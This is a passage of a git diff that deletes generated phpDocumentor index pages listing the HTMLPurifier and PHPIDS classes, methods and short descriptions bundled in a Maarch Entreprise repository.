class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_SafeParam.html#method__construct">HTMLPurifier_AttrTransform_SafeParam::__construct()</a> in SafeParam.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Required.html#method__construct">HTMLPurifier_ChildDef_Required::__construct()</a> in Required.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Number.html#method__construct">HTMLPurifier_AttrDef_CSS_Number::__construct()</a> in Number.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#method__construct">HTMLPurifier_HTMLModuleManager::__construct()</a> in HTMLModuleManager.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_Core.html#method__construct">HTMLPurifier_Strategy_Core::__construct()</a> in Core.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ContentSets.html#method__construct">HTMLPurifier_ContentSets::__construct()</a> in ContentSets.php</div> - <div class="index-item-description">Merges in module's content sets, expands identifiers in the content sets and populates the keys, values and lookup member variables.</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm_NullDecorator.html#method__construct">HTMLPurifier_Printer_ConfigForm_NullDecorator::__construct()</a> in ConfigForm.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html#method__construct">HTMLPurifier_Printer_ConfigForm::__construct()</a> in ConfigForm.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Custom.html#method__construct">HTMLPurifier_ChildDef_Custom::__construct()</a> in Custom.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Database.html#method__construct">IDS_Log_Database::__construct()</a> in Database.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_DenyElementDecorator.html#method__construct">HTMLPurifier_AttrDef_CSS_DenyElementDecorator::__construct()</a> in DenyElementDecorator.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#method__construct">HTMLPurifier_DefinitionCache::__construct()</a> in DefinitionCache.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#method__construct">HTMLPurifier_DefinitionCache_Decorator::__construct()</a> in Decorator.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Database.html#method__construct">IDS_Caching_Database::__construct()</a> in Database.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#method__construct">HTMLPurifier_Config::__construct()</a> in Config.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_Composite.html#method__construct">HTMLPurifier_Strategy_Composite::__construct()</a> in Composite.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_BackgroundPosition.html#method__construct">HTMLPurifier_AttrDef_CSS_BackgroundPosition::__construct()</a> in BackgroundPosition.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Background.html#method__construct">HTMLPurifier_AttrDef_CSS_Background::__construct()</a> in Background.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTypes.html#method__construct">HTMLPurifier_AttrTypes::__construct()</a> in AttrTypes.php</div> - <div class="index-item-description">Constructs the info array, supplying default implementations for attribute types.</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrCollections.html#method__construct">HTMLPurifier_AttrCollections::__construct()</a> in AttrCollections.php</div> - <div class="index-item-description">Performs all expansions on internal data for use by other inclusions</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Bool.html#method__construct">HTMLPurifier_AttrDef_HTML_Bool::__construct()</a> in Bool.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_BoolToCSS.html#method__construct">HTMLPurifier_AttrTransform_BoolToCSS::__construct()</a> in BoolToCSS.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Composite.html#method__construct">HTMLPurifier_AttrDef_CSS_Composite::__construct()</a> in Composite.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Comment.html#method__construct">HTMLPurifier_Token_Comment::__construct()</a> in Comment.php</div> - <div class="index-item-description">Transparent constructor.</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Chameleon.html#method__construct">HTMLPurifier_ChildDef_Chameleon::__construct()</a> in Chameleon.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Border.html#method__construct">HTMLPurifier_AttrDef_CSS_Border::__construct()</a> in Border.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_ImgSpace.html#method__construct">HTMLPurifier_AttrTransform_ImgSpace::__construct()</a> in ImgSpace.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_Directive.html#method__construct">HTMLPurifier_ConfigDef_Directive::__construct()</a> in Directive.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_FrameTarget.html#method__construct">HTMLPurifier_AttrDef_HTML_FrameTarget::__construct()</a> in FrameTarget.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Font.html#method__construct">HTMLPurifier_AttrDef_CSS_Font::__construct()</a> in Font.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#method__construct">IDS_Filter::__construct()</a> in Filter.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Filter.html#method__construct">HTMLPurifier_AttrDef_CSS_Filter::__construct()</a> in Filter.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Generator.html#method__construct">HTMLPurifier_Generator::__construct()</a> in Generator.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_Host.html#method__construct">HTMLPurifier_AttrDef_URI_Host::__construct()</a> in Host.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Id.html#method__construct">HTMLPurifier_ConfigSchema_Interchange_Id::__construct()</a> in Id.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#method__construct">HTMLPurifier::__construct()</a> in HTMLPurifier.php</div> - <div class="index-item-description">Initializes the purifier.</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_AlphaValue.html#method__construct">HTMLPurifier_AttrDef_CSS_AlphaValue::__construct()</a> in AlphaValue.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#method__construct">HTMLPurifier_HTMLDefinition::__construct()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Performs low-cost, preliminary initialization.</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_File.html#method__construct">IDS_Log_File::__construct()</a> in File.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_File.html#method__construct">IDS_Caching_File::__construct()</a> in File.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Empty.html#method__construct">HTMLPurifier_ChildDef_Empty::__construct()</a> in Empty.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#method__construct">IDS_Log_Email::__construct()</a> in Email.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DOMLex.html#method__construct">HTMLPurifier_Lexer_DOMLex::__construct()</a> in DOMLex.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Doctype.html#method__construct">HTMLPurifier_Doctype::__construct()</a> in Doctype.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Enum.html#method__construct">HTMLPurifier_AttrDef_Enum::__construct()</a> in Enum.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_EnumToCSS.html#method__construct">HTMLPurifier_AttrTransform_EnumToCSS::__construct()</a> in EnumToCSS.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#method__construct">IDS_Event::__construct()</a> in Event.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter_ExtractStyleBlocks.html#method__construct">HTMLPurifier_Filter_ExtractStyleBlocks::__construct()</a> in ExtractStyleBlocks.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_DirectiveAlias.html#method__construct">HTMLPurifier_ConfigDef_DirectiveAlias::__construct()</a> in DirectiveAlias.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#method__construct">HTMLPurifier_ErrorCollector::__construct()</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - <span class="method-title">__get</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token.html#method__get">HTMLPurifier_Token::__get()</a> in Token.php</div> - </dd> - <dt class="field"> - <span class="method-title">__toString</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#method__toString">IDS_Report::__toString()</a> in Report.php</div> - <div class="index-item-description">Directly outputs all available information</div> - </dd> - </dl> - -<div class="index-letter-menu"> - <a class="index-letter" href="elementindex.html#a">a</a> - <a class="index-letter" href="elementindex.html#b">b</a> - <a class="index-letter" href="elementindex.html#c">c</a> - <a class="index-letter" href="elementindex.html#d">d</a> - <a class="index-letter" href="elementindex.html#e">e</a> - <a class="index-letter" href="elementindex.html#f">f</a> - <a class="index-letter" href="elementindex.html#g">g</a> - <a class="index-letter" href="elementindex.html#h">h</a> - <a class="index-letter" href="elementindex.html#i">i</a> - <a class="index-letter" href="elementindex.html#k">k</a> - <a class="index-letter" href="elementindex.html#l">l</a> - <a class="index-letter" href="elementindex.html#m">m</a> - <a class="index-letter" href="elementindex.html#n">n</a> - <a class="index-letter" href="elementindex.html#o">o</a> - <a class="index-letter" href="elementindex.html#p">p</a> - <a class="index-letter" href="elementindex.html#q">q</a> - <a class="index-letter" href="elementindex.html#r">r</a> - <a class="index-letter" href="elementindex.html#s">s</a> - <a class="index-letter" href="elementindex.html#t">t</a> - <a class="index-letter" href="elementindex.html#u">u</a> - <a class="index-letter" href="elementindex.html#v">v</a> - <a class="index-letter" href="elementindex.html#w">w</a> - <a class="index-letter" href="elementindex.html#x">x</a> - <a class="index-letter" href="elementindex.html#y">y</a> - <a class="index-letter" href="elementindex.html#z">z</a> - <a class="index-letter" href="elementindex.html#_">_</a> -</div> </body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/elementindex_PHPIDS.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/elementindex_PHPIDS.html deleted file mode 100755 index 4f91585b2b14a23fd9cb58e180e2e2c5500e538c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/elementindex_PHPIDS.html +++ /dev/null @@ -1,1325 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title></title> - <link rel="stylesheet" href="media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <a name="top"></a> -<h2>[PHPIDS] element index</h2> - <h3>Package indexes</h3> - <ul> - <li><a href="elementindex_default.html">default</a></li> - </ul> -<a href="elementindex.html">All elements</a> -<br /> -<div class="index-letter-menu"> - <a class="index-letter" href="elementindex_PHPIDS.html#a">a</a> - <a class="index-letter" href="elementindex_PHPIDS.html#c">c</a> - <a class="index-letter" href="elementindex_PHPIDS.html#d">d</a> - <a class="index-letter" href="elementindex_PHPIDS.html#e">e</a> - <a class="index-letter" href="elementindex_PHPIDS.html#f">f</a> - <a class="index-letter" href="elementindex_PHPIDS.html#g">g</a> - <a class="index-letter" href="elementindex_PHPIDS.html#h">h</a> - <a class="index-letter" href="elementindex_PHPIDS.html#i">i</a> - <a class="index-letter" href="elementindex_PHPIDS.html#l">l</a> - <a class="index-letter" href="elementindex_PHPIDS.html#m">m</a> - <a class="index-letter" href="elementindex_PHPIDS.html#n">n</a> - <a class="index-letter" href="elementindex_PHPIDS.html#p">p</a> - <a class="index-letter" href="elementindex_PHPIDS.html#r">r</a> - <a class="index-letter" href="elementindex_PHPIDS.html#s">s</a> - <a class="index-letter" href="elementindex_PHPIDS.html#t">t</a> - <a class="index-letter" href="elementindex_PHPIDS.html#v">v</a> - <a class="index-letter" href="elementindex_PHPIDS.html#_">_</a> -</div> - - <a name="_"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">_</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="method-title">_mergeConfig</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#method_mergeConfig">IDS_Init::_mergeConfig()</a> in Init.php</div> - <div class="index-item-description">Merge config hashes recursivly</div> - </dd> - <dt class="field"> - <span class="method-title">__clone</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#method__clone">IDS_Init::__clone()</a> in Init.php</div> - <div class="index-item-description">Permitting to clone this object</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Memcached.html#method__construct">IDS_Caching_Memcached::__construct()</a> in Memcached.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#method__construct">IDS_Monitor::__construct()</a> in Monitor.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Session.html#method__construct">IDS_Caching_Session::__construct()</a> in Session.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#method__construct">IDS_Filter_Storage::__construct()</a> in Storage.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#method__construct">IDS_Report::__construct()</a> in Report.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Database.html#method__construct">IDS_Log_Database::__construct()</a> in Database.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#method__construct">IDS_Event::__construct()</a> in Event.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#method__construct">IDS_Log_Email::__construct()</a> in Email.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Database.html#method__construct">IDS_Caching_Database::__construct()</a> in Database.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_File.html#method__construct">IDS_Caching_File::__construct()</a> in File.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#method__construct">IDS_Filter::__construct()</a> in Filter.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_File.html#method__construct">IDS_Log_File::__construct()</a> in File.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__toString</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#method__toString">IDS_Report::__toString()</a> in Report.php</div> - <div class="index-item-description">Directly outputs all available information</div> - </dd> - </dl> - <a name="a"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">a</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="method-title">addEvent</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodaddEvent">IDS_Report::addEvent()</a> in Report.php</div> - <div class="index-item-description">Adds an IDS_Event object to the report</div> - </dd> - <dt class="field"> - <span class="method-title">addFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#methodaddFilter">IDS_Filter_Storage::addFilter()</a> in Storage.php</div> - <div class="index-item-description">Adds a filter</div> - </dd> - <dt class="field"> - <span class="method-title">addHtml</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodaddHtml">IDS_Monitor::addHtml()</a> in Monitor.php</div> - <div class="index-item-description">Adds a value to the html array</div> - </dd> - <dt class="field"> - <span class="method-title">addJson</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodaddJson">IDS_Monitor::addJson()</a> in Monitor.php</div> - <div class="index-item-description">Adds a value to the json array</div> - </dd> - <dt class="field"> - <span class="method-title">addLogger</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Composite.html#methodaddLogger">IDS_Log_Composite::addLogger()</a> in Composite.php</div> - <div class="index-item-description">Registers a new logging wrapper</div> - </dd> - </dl> - <a name="c"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">c</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$cache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#var$cache">IDS_Filter_Storage::$cache</a> in Storage.php</div> - <div class="index-item-description">Cache container</div> - </dd> - <dt class="field"> - <span class="var-title">$cacheSettings</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#var$cacheSettings">IDS_Filter_Storage::$cacheSettings</a> in Storage.php</div> - <div class="index-item-description">Holds caching settings</div> - </dd> - <dt class="field"> - <span class="var-title">$centrifuge</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#var$centrifuge">IDS_Report::$centrifuge</a> in Report.php</div> - <div class="index-item-description">Centrifuge data</div> - </dd> - <dt class="field"> - <span class="var-title">$config</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#var$config">IDS_Init::$config</a> in Init.php</div> - <div class="index-item-description">Holds config settings</div> - </dd> - <dt class="field"> - <span class="method-title">clear</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodclear">IDS_Report::clear()</a> in Report.php</div> - <div class="index-item-description">Clears calculated/collected values</div> - </dd> - <dt class="field"> - <span class="method-title">convertConcatenations</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertConcatenations">IDS_Converter::convertConcatenations()</a> in Converter.php</div> - <div class="index-item-description">Converts basic concatenations</div> - </dd> - <dt class="field"> - <span class="method-title">convertEntities</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertEntities">IDS_Converter::convertEntities()</a> in Converter.php</div> - <div class="index-item-description">Converts from hex/dec entities</div> - </dd> - <dt class="field"> - <span class="include-title">Converter.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Converter.php.html">Converter.php</a> in Converter.php</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromCommented</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromCommented">IDS_Converter::convertFromCommented()</a> in Converter.php</div> - <div class="index-item-description">Check for comments and erases them if available</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromControlChars</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromControlChars">IDS_Converter::convertFromControlChars()</a> in Converter.php</div> - <div class="index-item-description">Detects nullbytes and controls chars via ord()</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromJSCharcode</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromJSCharcode">IDS_Converter::convertFromJSCharcode()</a> in Converter.php</div> - <div class="index-item-description">Checks for common charcode pattern and decodes them</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromJSUnicode</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromJSUnicode">IDS_Converter::convertFromJSUnicode()</a> in Converter.php</div> - <div class="index-item-description">This method converts JS unicode code points to regular characters</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromNestedBase64</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromNestedBase64">IDS_Converter::convertFromNestedBase64()</a> in Converter.php</div> - <div class="index-item-description">This method matches and translates base64 strings and fragments used in data URIs</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromNewLines</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromNewLines">IDS_Converter::convertFromNewLines()</a> in Converter.php</div> - <div class="index-item-description">Strip newlines</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromOutOfRangeChars</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromOutOfRangeChars">IDS_Converter::convertFromOutOfRangeChars()</a> in Converter.php</div> - <div class="index-item-description">Detects nullbytes and controls chars via ord()</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromProprietaryEncodings</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromProprietaryEncodings">IDS_Converter::convertFromProprietaryEncodings()</a> in Converter.php</div> - <div class="index-item-description">This method collects and decodes proprietary encoding types</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromSQLHex</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromSQLHex">IDS_Converter::convertFromSQLHex()</a> in Converter.php</div> - <div class="index-item-description">Converts SQLHEX to plain text</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromSQLKeywords</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromSQLKeywords">IDS_Converter::convertFromSQLKeywords()</a> in Converter.php</div> - <div class="index-item-description">Converts basic SQL keywords and obfuscations</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromUTF7</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromUTF7">IDS_Converter::convertFromUTF7()</a> in Converter.php</div> - <div class="index-item-description">Converts relevant UTF-7 tags to UTF-8</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromXML</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromXML">IDS_Converter::convertFromXML()</a> in Converter.php</div> - <div class="index-item-description">Strip XML patterns</div> - </dd> - <dt class="field"> - <span class="method-title">convertJSRegexModifiers</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertJSRegexModifiers">IDS_Converter::convertJSRegexModifiers()</a> in Converter.php</div> - <div class="index-item-description">Eliminate JS regex modifiers</div> - </dd> - <dt class="field"> - <span class="method-title">convertQuotes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertQuotes">IDS_Converter::convertQuotes()</a> in Converter.php</div> - <div class="index-item-description">Normalize quotes</div> - </dd> - <dt class="field"> - <span class="method-title">count</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodcount">IDS_Event::count()</a> in Event.php</div> - <div class="index-item-description">Returns number of filters</div> - </dd> - <dt class="field"> - <span class="method-title">count</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a 